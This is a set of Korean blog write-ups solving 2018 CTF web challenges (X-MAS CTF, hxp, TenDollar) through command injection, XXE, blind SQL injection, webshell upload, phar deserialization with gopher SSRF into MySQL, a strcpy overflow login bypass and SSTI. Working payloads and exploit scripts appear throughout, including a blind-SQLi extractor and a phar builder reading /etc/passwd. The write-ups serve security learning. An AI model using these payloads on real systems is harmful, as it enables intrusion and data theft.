Santa's Helper Mechagnome


문제에서 제공하는 디코 계정에서 말을 걸어보면 아래와 같은 기능들을 제공한다.



여기서 sendletter 기능 사용 시 메시지 내용에서 command injection이 터진다.


이를 이용해서 restart 코드를 가져와서 입력해주면 된다.


sendletter randdev@santa.com `cat robot_restart_codes.txt`



Flag = X-MAS{Wh0_Kn3W_4_H3lp3r_M3ch4gN0m3_W0uLd_b3_S0_vULN3R4bL3}





Santa's lucky number


문제에 들어가보면 페이지 넘버에 따라 출력되는 hash값이 다르다. 그냥 Brute Forcing으로 1~2000까지 넣어보니 플래그가 있었다.


Flag = X-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng}






GnomeArena: Rock Paper Scissors


웹쉘 문제다. 업로드 기능이 있는데 업로드된 파일명이 프로필 네임을 가지고 저장된다. 이 때 확장자 검증이 없어서 php 확장자로 그냥 웹쉘 올려주면되는데 파일 헤더를 검증해 이미지파일인지 확인을 하고있어 png파일 마지막부분에 php 코드를 넣어서 업로드 해주면 된다.


Flag = X-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}






Gnome's BU77ons


들어가보면 버튼 하나만 떡하니 있다. 해당 버튼 클릭 후 파라미터 값에 flag를 넣어주면 된다. 


X-MAS{PhPs_A1n7_m4d3_f0r_bu77_0ns___:)}






Our Christmas Wishlist


간단한 XXE 문제다. .htaccess 파일 읽어보면 플래그 파일명이 존재한다. 해당 플래그 파일 읽어주면 된다.


<?xml version="1.0"?>

<!DOCTYPE ssr[

<!ENTITY ssrtest SYSTEM "php://filter/convert.base64-encode/resource=flag.txt">

]>

<message>&ssrtest;</message>


Flag = X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}






Santa's No Password Login System


User-Agent에서 Blind SQLI가 터진다.


별도의 필터링이 없어서 그냥 데이터 쭉쭉 뽑아오면 플래그가 나온다.


import requests


def get_flag(payload):

    url = "http://199.247.6.180:12003/"

    header = {'User-Agent':payload}

    response = requests.get(url,headers=header).text

    if "Welcome" in response:

        return True

    else:

        return False



flag = ""

for i in range(1,50):

    binary = ""

    for j in range(1,9):

        payload = "' or 1=if(substring(lpad(bin(ord(substring(ua,"+str(i)+",1))),8,0),"+str(j)+",1)=1,1,0)#"

        if get_flag(payload)==True:

            binary += "1"

        else:

            binary += "0"

    if binary != "00000000":

        flag += chr(int(binary,2))

        print "[-]Find Flag = "+flag

        

print "[*]Find Flag = "+flag


Flag = X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}






Reindeers and cookies


문제에 들어가보면 쿠키 값에 다음과 같은 값들이 있다.


adminpass=MyLittleCookie%21; cookiez=WlhsS2NGcERTVFpKYWtscFRFTktNR1ZZUW14SmFtOXBXak5XYkdNelVXbG1VVDA5


먼저 Base64된 값을 쭉 디코딩해보면 아래와 같은 값이 나오는데 type을 admin으로 변경해서 다시 인코딩해보면 admin password가 틀리다고 나온다.


{"id":"2","type":"guest"} -> {"id":"2","type":"admin"}


sqli는 안먹히길래 php trick류로 생각했고 비교할 때 strcmp를 쓰나하고 adminpass를 array로 넘겨주니 플래그가 나왔다.


Flag = X-MAS{S4n74_L0v35__C00kiesss_And_Juggl1ng!}





















'CTF > Writeup' 카테고리의 다른 글

35C3 CTF 2018 php  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
hwp CTF 2018 unpack0r  (0) 2018.12.10
TenDollar CTF 2018 Cat-Proxy  (0) 2018.12.02
TenDollar CTF 2018 Kou  (0) 2018.12.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

hwp CTF 2018 unpack0r

CTF/Writeup 2018. 12. 10. 11:23

해당 문제는 대회 기간중엔 못풀고 롸업을 봤는데 트릭이 상당히 재미있어서 정리해 봤다.


먼저 문제에 들어가보면 아래와 같이 소스코드를 제공해 준다.


<?php
if (isset($_FILES['zip']) && $_FILES['zip']['size'] < 10*1024 ){
    
$d 'files/' bin2hex(random_bytes(32));
    
mkdir($d) || die('mkdir');
    
chdir($d) || die('chdir');

    
$zip = new ZipArchive();
    if (
$zip->open($_FILES['zip']['tmp_name']) === TRUE) {
        for (
$i 0$i $zip->numFiles$i++) {
            if(
preg_match('/^[a-z]+$/'$zip->getNameIndex($i)) !== 1){
                die(
':/ security');
            }
        }

        
exec('unzip ' escapeshellarg($_FILES['zip']['tmp_name']));
        echo 
$d;
    }
}
else {
    
highlight_file(__FILE__);
}


코드를 보면 파일 업로드 시 특정 디렉토리 경로를 생성하고 해당 경로에 zip파일을 unzip하여 압축된 파일들이 업로드 되는 형태이다.


이 때 압축된 파일명들에 대해 정규식을 통해 검증하는데 알파벳 소문자외에 값이 들어갈 수가 없다. 즉 일반적인 형태로는 웹쉘 업로드가 불가능한 형태였다.


여기서 일단 커멘드 인젝션 같은 경우 escapeshellarg 함수가 적용되어있고 인풋으로 들어가는 값이 임시파일명이라 내가 컨트롤할 수 없는 부분이라 취약점을 터트릴 수 가 없었다.


그래서 일단 생각한게 Symlink 트릭으로 내부 파일 읽어오려고 해봤더니 업로드된 파일에 링크만 걸려있으면 무조건 권한부족으로 403이 떴다.


여기서 한참 헤매면서 ZipArchive관련 취약점들을 찾으면서 삽질을 했다. 


대회 종료 후 롸업을 보니 취약점이 $zip->numFiles 부분에서 터지고 있었다.


위의 파일 검증 루틴을 보면 ZipArchive 객체의 numFiles 속성을 통해 Zip 파일 내 압축되어있는 파일 개수를 가져오는 데 이 값을 가져올 때 아래와 같이 Zip 파일 내 해당 헤더 영역의 값을 참조하게 된다.


  

저 값을 01에서 00으로 수정할 경우 $zip->numFiles 가 0으로 세팅되면서 반복문 내 파일명 검증 루틴을 Bypass할 수 있다.


그 후 unzip을 통해 헤더 값이 변조된 zip파일이 압축해제 될 때 unzip 명령어에서는 저 값과 상관없이 정상적으로 zip 내 파일들을 압축해제하게 되어 웹쉘 업로드가 가능해 진다.


위 형태에 맞춰서 php 확장자를 가진 파일을 압축한 다음 헤더 값을 변조하여 업로드하니 웹쉘 실행이 됐다.








Flag = hxp{please_ask_gynvael_for_more_details_on_zips_:>} 









'CTF > Writeup' 카테고리의 다른 글

Codegate 2014 clone technique  (1) 2018.12.29
X-MAS CTF 2018 Web Write up  (0) 2018.12.24
TenDollar CTF 2018 Cat-Proxy  (0) 2018.12.02
TenDollar CTF 2018 Kou  (0) 2018.12.01
TenDollar CTF 2018 XSS  (0) 2018.12.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 문제는 이틀정도 계속 보다가 결국 풀지 못하고 롸업을 참고했는데 취약점이 터지는 과정이 엄청 재밌었다.


일단 페이지를 불러올 때 기본적으로 LFI가 터져서 소스코드를 가져올 수 있다.


http://web2.tendollar.kr:8100/?p=php://filter/convert.base64-encode/resource=index


핵심 기능은 일단 파일 업로드,curl을 통한 요청 두가지 정도가 있었는데, 여기서 한참을 소스코드를 봤는데도 도저히 취약점이 터질만한 곳이 보이지 않았었다.


대회 주최해주신분의 롸업을 보니 php에서 phar을 통해 파일관련 함수에서 취약점을 터트릴 수 있는 방법이 있었다.


phar은 include,require 에서 lfi시에만 사용할 수 있다고 알고 있었는데 이게 엄청 신선한 충격이었다.


그래서 해당 취약점에 대해 찾아보니 몇달전에 Black hat USA 2018에서 발표된 자료가 있어서 쭉 읽어봤다.


https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf


해당 문서를 쭉 보고나면 취약점이 터질 곳이 보인다.


uploadThumb.php


<?php

    if($_SESSION['is_login'] !==1 ) die("<script>alert('Login please.');history.back();</script>");

    chdir('uploads');

    $allowExt = Array('jpg','jpeg','png','gif');

    $fname = $_FILES['thumb']['name'];

    $fname = array_pop(explode('./',$fname));

    if(file_exists(urldecode($fname))){


        echo "<script>alert('Already uploaded file.\\nPlease change filename.');history.back();</script>";

    }else{

        $ext = strtolower(array_pop(explode('.',$fname)));

        if($_FILES['thumb']['error'] !== 0){

            die("<script>alert('Upload Error!');history.back();</script>");

        }

        if(!in_array($ext, $allowExt)){

            die("<script>alert('Sorry, not allow extension.');history.back();</script>");

        }


        $contents = file_get_contents($_FILES['thumb']['tmp_name']);


        if($ext=="jpg"){

            if(substr($contents,0,3)!="\xFF\xD8\xFF") die("<script>alert('JPG is corrupted.\\nSorry.');history.back();</script>");

        }else if($ext=="jpeg"){

            if(substr($contents,0,3)!="\xFF\xD8\xFF") die("<script>alert('JPEG is corrupted.\\nSorry.');history.back();</script>");

        }else if($ext=="png"){

            if(substr($contents,0,4)!="\x89PNG") die("<script>alert('PNG is corrupted.\\nSorry.');history.back();</script>");

        }else if($ext=="gif"){

            if(substr($contents,0,4)!="GIF8") die("<script>alert('GIF is corrupted.\\nSorry.');history.back();</script>");

        }else{

            die("<script>alert('Something error.\\nSorry.');history.back();</script>");

        }


        @move_uploaded_file($_FILES['thumb']['tmp_name'], $fname);


        $id = $mysql->real_escape_string($_SESSION['id']);

        $sql = "UPDATE users SET thumb='".$mysql->real_escape_string($fname)."' WHERE id='".$id."';";

        $result = $mysql->query($sql);

        if($result===TRUE){

            $_SESSION['avatar'] = $fname;

            echo("<script>alert('Successfully Avatar Change!');history.back();</script>");

        }else{

            echo("<script>alert('Upload failed!');history.back();</script>");

        }

    }

?>



해당 코드를 보면 파일 업로드 시 파일이 존재하는지 file_exists함수를 통해 확인하는데 해당 함수 인자로 서버 내 존재하는 phar 파일을 phar://파일경로 형태로 넣어주게되면 해당 파일 내 존재하는 Serialize된 데이터가 Deserialize되면서 취약점이 터지게 된다.

일단 먼저 phar 파일 생성은 아래 코드를 통해 만들었다.

<?php
 class Requests{
     public $url;
     function __construct($url){
         $this->url = $url;
     }
     function __destruct(){
         $ch = curl_init();
         curl_setopt($ch, CURLOPT_URL, $this->url);
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
         $output = curl_exec($ch);
         echo '<div class="description">'.$output.'</div>';
     }
 }

$phar = new Phar('youngsin.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new Requests();
$object -> url= 'file:///etc/passwd';
$phar -> setMetadata($object);
$phar -> stopBuffering();

위 코드에서 사용한 클래스는 해당 서버의 lib.php에 존재하는 request 객체를 사용했고, 또 눈여겨볼점이 Stub영역에 GIF89a란 값을 추가해줬는데 업로드 시 각 확장자 별로 파일의 첫 3 혹은 4바이트 값을 확인하는 부분을 우회하기 위해 넣어줬다.

위 코드를 통해 생성된 phar파일의 확장자를 gif로 변경하여 일단 업로드해보니 정상적으로 업로드가 이루어졌다.



이제 이 업로드된 파일을 phar://ssr_youngsin.gif 요런식으로 해서 파일명에 입력해주면 되는데 일반적으로 이렇게 입력하게되면  $_FILES['thumb']['name'] 요 코드로 파일명 받아올때 가장 우측 / 이후의 값들만 받아와서 phar wrapper를 사용할 수 없다. 근데 잘 보면 file_exists함수 내에서 파일명에대해 urldecode를 한번 수행해주기 때문에 

//요 문자들을 urlencoding해서 입력해주면 된다.



그럼 이제 필터구문없이 ssrf를 자유롭게 사용할 수 있는데, leak한 소스코드를 보다보면 요런게 있다.


config.php


<?php

// error_reporting(0);

    $host = "catproxy_db_1";W

    $user = "cat";

    $db_schema = "cat";

$port = 3306;

    $mysql = new mysqli($host, $user, "", $db_schema,$port);

    $mysql->query("SET NAMES utf8");


    

?>


딱봐도 수상한게 mysql에 접속할 때 비밀번호를 사용하지 않는다. 이런 경우에는 gopher를 통해 mysql 쿼리 실행이 가능하다.


문제 서버랑 동일한 환경으로 세팅해놓고 패킷뜬다음 아래 스크립트로 gopher 데이터를 만들어줬다.


# I have upgraded this tool, now it won't ask for MySQL packets, check here: https://github.com/tarunkant/Gopherus

dump = raw_input("Give connection packet of mysql: ")
query = raw_input("Give query to execute: ")

auth = dump.replace("\n","")

def encode(s):
a = [s[i:i + 2] for i in range(0, len(s), 2)]
return "gopher://catproxy_db_1:3306/_%" + "%".join(a)


def get_payload(query):
if(query.strip()!=''):
query = query.encode("hex")
query_length = '{:x}'.format((int((len(query) / 2) + 1)))
pay1 = query_length.rjust(2,'0') + "00000003" + query
final = encode(auth + pay1 + "0100000001")
return final
else:
return encode(auth)

print "\nYour gopher link is ready to do SSRF : \n"
print get_payload(query)



<?php

 class Requests{

     public $url;

     function __construct($url){

         $this->url = $url;

     }

     function __destruct(){

         $ch = curl_init();

         curl_setopt($ch, CURLOPT_URL, $this->url);

         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

         $output = curl_exec($ch);

         echo '<div class="description">'.$output.'</div>';

     }

 }


$phar = new Phar('youngsin.phar');

$phar -> stopBuffering();

$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

$phar -> addFromString('test.txt','test');

$object = new Requests();

$object -> url= 'gopher://catproxy_db_1:3306/_%25%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%61%74%00%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%40%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%3b%01%00%00%00%01';

$phar -> setMetadata($object);

$phar -> stopBuffering();


해당 코드로 만든 phar파일을 이전과 같은 방식으로 공격해주면 아래와 같이 쿼리 실행이 가능했다. 테이블 목록 중 flag 테이블이 존재해 해당 테이블 내 데이터 읽으면 플래그가 나온다.






FLAG = TDCTF{W0W_Do_you_know_SSRF_Shiina_Mashiro_Kawaii}


근래 풀어봤던 문제들 중에서 가장 재밌었던 것 같다.

'CTF > Writeup' 카테고리의 다른 글

X-MAS CTF 2018 Web Write up  (0) 2018.12.24
hwp CTF 2018 unpack0r  (0) 2018.12.10
TenDollar CTF 2018 Kou  (0) 2018.12.01
TenDollar CTF 2018 XSS  (0) 2018.12.01
TenDollar CTF 2018 LinkedList - 1,2  (0) 2018.12.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

TenDollar CTF 2018 Kou

CTF/Writeup 2018. 12. 1. 16:16

해당 문제는 Article 메뉴에서 게시글 조회 시 File Download 취약점이 터진다.


http://web2.tendollar.kr:10101/?p=view&f=../../../../../var/www/html/index.php


해당 취약점을 통해 소스코드를 쭉 보다보면 login 시 admin으로 로그인 가능한 조건이 나온다.


loginchk.php


<?php

$id = $_POST['id'];

$pw = $_POST['pw'];

if($id!='' && $pw!=''){

if(preg_match('/kou/i',$id)){

die('<script>alert("Don\'t login at kou.");history.back();</script>');

}

if(login($id,$pw)){

$_SESSION['is_login'] = 1;

$_SESSION['admin'] = 1;

echo '<script>alert("Login Success.");location.href="?p=home";</script>';

}else{

echo '<script>alert("Login Fail.");history.back();</script>';

}

}else{

echo '<script>alert("Login Fail.");history.back();</script>';

}

?>


위 코드를 보면 id가 kou인 계정으로 로그인을 해야하는데 정규식으로 필터하는 구문을 보면 일반적인 방법으로는 절대 로그인이 불가능해 보인다.


이를 우회할 방법이 있나 보기위해 login함수를 찾아보면 모든 php 파일 내 login 함수가 없다. 이럴 경우 해당 함수가 so 파일 내에 존재할 것이기 때문에 php.ini를 내 로드하는 모듈을 보면 되지만, view.php 소스코드 내 해당 모듈 경로가 존재하길래 이 경로로 해당 파일을 다운받아 ida로 까봤다.


view.php


<?php

$f = $_GET['f'];

if(!is_array($f) && !is_null($f) && $f!=''){

// $f = str_replace('../','', $f);

if($f[strlen($f)-1]=='/'){

$f[strlen($f)-1]=='\0';

}

if(preg_match('/Secret Data/i',$f) && $_SESSION['admin']==1){

?>

<div class="description">

<p style="font-size: 20px;">Secret Data</p>

<br><br>

<pre><?php loadFile($f); ?></pre>

</div>

<?php

}else if(preg_match('/Secret Data/i',$f) && $_SESSION['admin']==0){

?>

<div class="description">

<p style="font-size: 20px;">Secret Data</p>

<br><br>

<pre>You're not admin.</pre>

</div>

<?php

}else{

?>

<div class="description">

<p style="font-size: 20px;"><?=$f;?></p>

<br><br>

<?php

if(preg_match('/kou\.so/i',$f)){

echo 'Okay Here<br><div>'.file_get_contents('/var/www/modules/kou.so').'</div>';

}

?>

<pre><?php loadFile($f); ?></pre>

</div>

<?php

}


}else{

echo '<script>alert("No found.");history.back();</script>';

}

?>


so path = /var/www/modules/kou.so


해당 모듈내에서 로그인 시 호출되는 함수들을 보면 다음과 같다.





대충 보면 일단 id값이 kou인지 체크하고 pw와 같은 경우 1e0c6abede7ff7184c3cefe606f9760a 값과 동일하면 admin으로 로그인이 가능한 구조이다. 일반적으로 id=kou&pw=1e0c6abede7ff7184c3cefe606f9760a 넣게되면 통과할 수가 없는 구조인데 zlf_login 함수에서 파라미터로 넘어온 id,pw값을 지역변수에 담을 때 strcpy를 사용하고 있고 id변수가 pw보다 먼저 선언되어 있어 pw 값을 통해 id 변수를 덮을 수 있다.


pw를 1e0c6abede7ff7184c3cefe606f9760akou이런식으로 넣어주면 id 지역 변수 값이 kou로 덮여서 위의 모든 조건을 통과하여 admin으로 로그인이 가능해진다.


id=1&pw=1e0c6abede7ff7184c3cefe606f9760akou


admin 로그인 후 Article 메뉴의 Secret Data를 확인해보면 플래그가 나온다.







'CTF > Writeup' 카테고리의 다른 글

hwp CTF 2018 unpack0r  (0) 2018.12.10
TenDollar CTF 2018 Cat-Proxy  (0) 2018.12.02
TenDollar CTF 2018 XSS  (0) 2018.12.01
TenDollar CTF 2018 LinkedList - 1,2  (0) 2018.12.01
TenDollar CTF 2018 Ninja  (0) 2018.12.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

TenDollar CTF 2018 XSS

CTF/Writeup 2018. 12. 1. 12:37

해당 문제는 들어가보면 여러기능중 Contact 기능만 동작한다. 해당 기능은 문제 이름에서 보이듯이 XSS가 터진다. 

XSS에는 별다른 필터는 없었는데 세션 값이 안날라왔다. 근데 잘 보면 아래와 같이 Referer 헤더에 admin 관련 URL이 존재한다.



해당 URL 구조를 봐서는 url 파라미터로 받아온 값을 서버측에서 요청하는 구조라 SSRF가 터질거라 생각했고  file wrapper를 사용해보니 정상적으로 파일을 읽어올 수 있었다.


file:///proc/self/cmdline

file:///tmp/uwsgi.ini


순으로 소스코드 파일 경로 확인 후 보면 아래와 같다.


main.py


# -*- encoding:utf-8 -*-

from flask import Flask, render_template, render_template_string, request

import sqlite3

import urllib2

from selenium import webdriver


app = Flask(__name__)


createtable = """CREATE TABLE IF NOT EXISTS contact (

id integer PRIMARY KEY AUTOINCREMENT,

email text,

message text,

is_checked integer DEFAULT 0

);

"""


@app.route("/")

def index():

return render_template('index.html')


@app.route("/contact")

def login():

return render_template('contact.html')


@app.route("/submit", methods=['GET'])

def submit():

email = request.args.get('email')

message = request.args.get('message')


conn = sqlite3.connect("/tmp/mydb.db")

cur = conn.cursor()

cur.execute(createtable)


sql = "insert into contact(email, message) values (?, ?);"

cur.execute(sql, (email, message))

conn.commit()

conn.close()


bot()


return "<script>alert(\"접수 완료\"); history.back(-1);</script>"


@app.route("/admin", methods=['GET'])

def admin():

_id = request.args.get('_id')

_pw = request.args.get('_pw')

_email = request.args.get('email')


if not (_id == "admin" and _pw == "admin123^__^"):

return "do not hack!"


conn = sqlite3.connect("/tmp/mydb.db")

cur = conn.cursor()

cur.execute(createtable)


sql = "select * from contact where is_checked = 0 limit 1;"


if _email is not None:

sql = "select * from contact where email = '%s' limit 1;" % _email.replace("'", "''")


cur.execute(sql)

rows = cur.fetchall()


if len(rows) == 0:

conn.close()

return "None"


idx = rows[0][0]

email = rows[0][1]

message = rows[0][2]

is_checked = rows[0][3]


sql = "update contact set is_checked = 1 where id = %d" % idx

cur.execute(sql)

conn.commit()

conn.close()


result = """

idx : %d<br>

email : %s<br>

message : %s<br>

is_checked : %d<br>

""" % (idx, email, message, is_checked)


return render_template_string(result)


@app.route("/archiver", methods=['GET'])

def archiver():

url = request.args.get('url')

r = urllib2.Request(url)

r.add_header('Referer', request.url)

return urllib2.urlopen(r).read()


def bot():

options = webdriver.ChromeOptions()

options.add_argument('headless')

options.add_argument('window-size=1920x1080')

options.add_argument("disable-gpu")

options.add_argument("--no-sandbox")

driver = webdriver.Chrome('./chromedriver', chrome_options=options)

driver.get('http://localhost/archiver?url=http%3A%2F%2Flocalhost%2Fadmin%3F_id%3Dadmin%26_pw%3Dadmin123%5E__%5E')

driver.implicitly_wait(1)

driver.quit()


if __name__ == "__main__":

app.run(host='0.0.0.0', debug=True, port=80)



코드를 쭉 보다보면 아래 코드를 통해 SSTI가 터지는걸 볼 수 있다.


result = """

idx : %d<br>

email : %s<br>

message : %s<br>

is_checked : %d<br>

""" % (idx, email, message, is_checked)

return render_template_string(result)


여기서 취약점을 터트리기 위해 사이트 내에서 유일하게 사용가능했던 contact 기능을 통해 message에 SSTI 구문을 아래와 같이 넣어봤다.


http://web1.tendollar.kr:10102/submit?email=JeonYoungSin&message={{7*7}}


그 후 아래와 같이 해당 이메일 접수글을 조회해보면 SSTI가 실제로 터지는걸 볼 수 있었다.



여기서부터는 별다른 필터가 없어서 아래와 같이 플래그를 가져왔다.







Flag = TDCTF{XSS_m3anS_n0t_jUSt_XSS_But_X55_SSRF_S5TI}































'CTF > Writeup' 카테고리의 다른 글

TenDollar CTF 2018 Cat-Proxy  (0) 2018.12.02
TenDollar CTF 2018 Kou  (0) 2018.12.01
TenDollar CTF 2018 LinkedList - 1,2  (0) 2018.12.01
TenDollar CTF 2018 Ninja  (0) 2018.12.01
TenDollar CTF 2018 I'm Blind Not Deaf  (0) 2018.12.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 문제는 동일한 소스코드에 버전 1,2로 두문제가 출제됬다.


두 문제모두 php 소스코드 오디팅을 통해 플래그가 나오는 조건을 맞춰주면 된다.


LinkedList - 1


index.php


<?php

@session_set_cookie_params(36000);

@session_start();


@require_once dirname(__FILE__)."/classes.php";

@require_once dirname(__FILE__)."/config.php";


if (@$_POST['name']) {

@$_SESSION['link'] = @array('name' => @htmlspecialchars(@$_POST['name']), 'time' => @time());

@die("<script type='text/javascript'>location.href='.';</script>");

}

if (!@$_SESSION['link']['name']) {

if (!@$_SESSION['link']['real_first?']) {

@$_SESSION['link']['real_first?'] = true;

@die("<script type='text/javascript'>location.href='.';</script>");

}

@die(@file_get_contents(@dirname(__FILE__).'/templates/set.html'));

}

if (!isset($_SESSION['link'][$_SESSION['link']['name']."_tail"])) {

@$_SESSION['link'][@$_SESSION['link']['name']."_tail"] = 0;

@die("<script type='text/javascript'>location.reload();</script>");

}

if (@$_SESSION['link']['name']) @$obj = new LinkList();

if (@$_GET['p'] == 'reset') {

unset($_SESSION['link']);

@die("<script type='text/javascript'>location.reload();</script>");

}

if (@$_SESSION['link'][@$_SESSION['link']['name']."_list"]) {

@$arr = @json_decode(@$_SESSION['link'][@$_SESSION['link']['name']."_list"]);

for(@$i=0;@$i<count(@$arr);@$i++){

@$obj->insert(@$arr[@$i], @$i);

}

}

if (@$_GET['p'] == 'raw') {

@header("Content-Type: text/plain");

@die(@$_SESSION['link'][@$_SESSION['link']['name']."_list"]);

}

if (@$_SESSION['link']['admin_only_list']) {

unset($_SESSION['link']);

die("<script type='text/javascript'>alert('GJ!!! The first flag is ".@addslashes(@$flag1)."');location.href='.';</script>");

admin:

if ($_POST['value'] && $_POST['key']) {

@$obj->insert(@$_GET['value'], @$_POST['key']);

@$arr[@$_POST['key']] = @$_GET['value'];

@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);

}

}

if (@$_SESSION['link'][@$_SESSION['link']['name']."_tail"] > 0xff) {

unset($_SESSION['link']);

@die("<script type='text/javascript'>alert('Realrudaganya?!?!? The second flag is ".@addslashes(@$flag2)."');location.href='.';</script>");

}

if (!@$_GET['p'] || $_GET['p'] == '') {

@$content = @file_get_contents(@dirname(__FILE__).'/templates/login.html');

@$content = @str_replace('$name', @$_SESSION['link']['name'], @$content);

if (@$_SESSION['link'][@$_SESSION['link']['name']."_list"] || @$data='') {

@$r = @$obj->readList();

@$data = '<pre>linked list: '.PHP_EOL;

for(@$i=0;@$i<count(@$r);@$i++){

@$data .= "No.".(@$i+1).": ".@$r[@$i].PHP_EOL;

}

@$data .= '</pre>';

}

@$content = str_replace('$content', @$data, @$content);

die(@$content);

}

if (@$_GET['p'] == 'insert' && isset($_GET['value'])) {

if (@$arr[100]) die("<script type='text/javascript'>alert('Too many linked-list! Get out!');location.href='.';</script>");

if (@$_SESSION['link'][@$_SESSION['link']['name']."_tail"] == 0) @$obj->insertFirst(@htmlspecialchars(@$_GET['value']));

else @$obj->insert(@$_GET['value'], @$_SESSION['link'][@$_SESSION['link']['name']."_tail"]);

@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]++;

@$arr[@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]-1] = @htmlspecialchars(@$_GET['value']);

@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);

die("<script type='text/javascript'>location.href='.';</script>");

}

if (@$_GET['p'] == 'insert_first' && isset($_GET['value'])) {

@$obj->insertFirst(@htmlspecialchars(@$_GET['value']));

@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]++;

@$arr[0] = @htmlspecialchars(@$_GET['value']);

@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);

@die("<script type='text/javascript'>location.href='.';</script>");

}

if ($_GET['p'] == 'delete' && isset($_GET['key'])) {

if (!@$arr[0]) @$arr[0] = '';

@$obj->deleteNode(@$_GET['key']);

unset($arr[@$_GET['key']]);

#@$_SESSION['link'][@$_SESSION['link']['name']."_tail"] = (int)@$_GET['key'] & 0x7fffffff;

#@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]--;

@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = json_encode(@$arr);

@die("<script type='text/javascript'>location.href='.';</script>");

}



classes.php


<?php

class ListNode {

public $data;

public $next;


function __construct($data){

$this->data = $data;

$this->next = NULL;

}


function readNode(){

return $this->data;

}

}


class LinkList {

private $firstNode;

private $lastNode;

private $count;


function __construct(){

$this->firstNode = NULL;

$this->lastNode = NULL;

$this->count = 0;

}


public function insertFirst($data){

$link = new ListNode($data);

$link->next = $this->firstNode;

$this->firstNode = &$link;


if ($this->lastNode == NULL) $this->lastNode = &$link;

$this->count++;

}



public function readList(){

$listData = array();

$current = $this->firstNode;


while($current != NULL){

array_push($listData, $current->readNode());

$current = $current->next;

}

$i = 0;

$return = array();

foreach($listData as $v){

$return[$i++] = $v;

}

return $return;

}


public function reverseList(){

if ($this->firstNode != NULL) {

if ($this->firstNode->next != NULL) {

$current = $this->firstNode;

$new = NULL;


while($current != NULL){

$temp = $current->next;

$current->next = $new;

$new = $current;

$current = $temp;

}

$this->firstNode = $new;

}

}

}


public function deleteNode($key){

$current = $this->firstNode;

$previous = $this->firstNode;


while($current->data != $key){

if ($current->next == NULL) return NULL;

else{

$previous = $current;

$current = $current->next;

}

}


if ($current == $this->firstNode) {

if ($this->count == 1) $this->lastNode = $this->firstNode;

$this->firstNode = $this->firstNode->next;

}else{

if ($this->lastNode == $current) $this->lastNode = $previous;

$previous->next = $current->next;

}

$this->count--;  

}


public function emptyList(){

$this->firstNode == NULL;

}


public function insert($NewItem,$key){

if ($key == 0) $this->insertFirst($NewItem);

else{

$link = new ListNode($NewItem);

$current = $this->firstNode;

$previous = $this->firstNode;


for($i=0;$i<$key;$i++){       

$previous = $current;

$current = $current->next;

}


$previous->next = $link;

$link->next = $current; 

$this->count++;

}

}

}



index.php를 보면 첫번째 플래그가 나오는 조건은 아래와 같다.

if (@$_SESSION['link']['admin_only_list']) {
unset($_SESSION['link']);
die("<script type='text/javascript'>alert('GJ!!! The first flag is ".@addslashes(@$flag1)."');location.href='.';</script>");
admin:
if ($_POST['value'] && $_POST['key']) {
@$obj->insert(@$_GET['value'], @$_POST['key']);
@$arr[@$_POST['key']] = @$_GET['value'];
@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);
}
}

@$_SESSION['link']['admin_only_list'] 요 값이 존재하면 플래그가 나오기 때문에 해당 값이 생성될 수 있는 조건을 확인해 보면 아래와 같다.

if (@$_GET['p'] == 'insert' && isset($_GET['value'])) {
if (@$arr[100]) die("<script type='text/javascript'>alert('Too many linked-list! Get out!');location.href='.';</script>");
if (@$_SESSION['link'][@$_SESSION['link']['name']."_tail"] == 0) @$obj->insertFirst(@htmlspecialchars(@$_GET['value']));
else @$obj->insert(@$_GET['value'], @$_SESSION['link'][@$_SESSION['link']['name']."_tail"]);
@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]++;
@$arr[@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]-1] = @htmlspecialchars(@$_GET['value']);
@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);
die("<script type='text/javascript'>location.href='.';</script>");
}
if (@$_GET['p'] == 'insert_first' && isset($_GET['value'])) {
@$obj->insertFirst(@htmlspecialchars(@$_GET['value']));
@$_SESSION['link'][@$_SESSION['link']['name']."_tail"]++;
@$arr[0] = @htmlspecialchars(@$_GET['value']);
@$_SESSION['link'][@$_SESSION['link']['name']."_list"] = @json_encode(@$arr);
@die("<script type='text/javascript'>location.href='.';</script>");
}
if ($_GET['p'] == 'delete' && isset($_GET['key'])) {
if (!@$arr[0]) @$arr[0] = '';
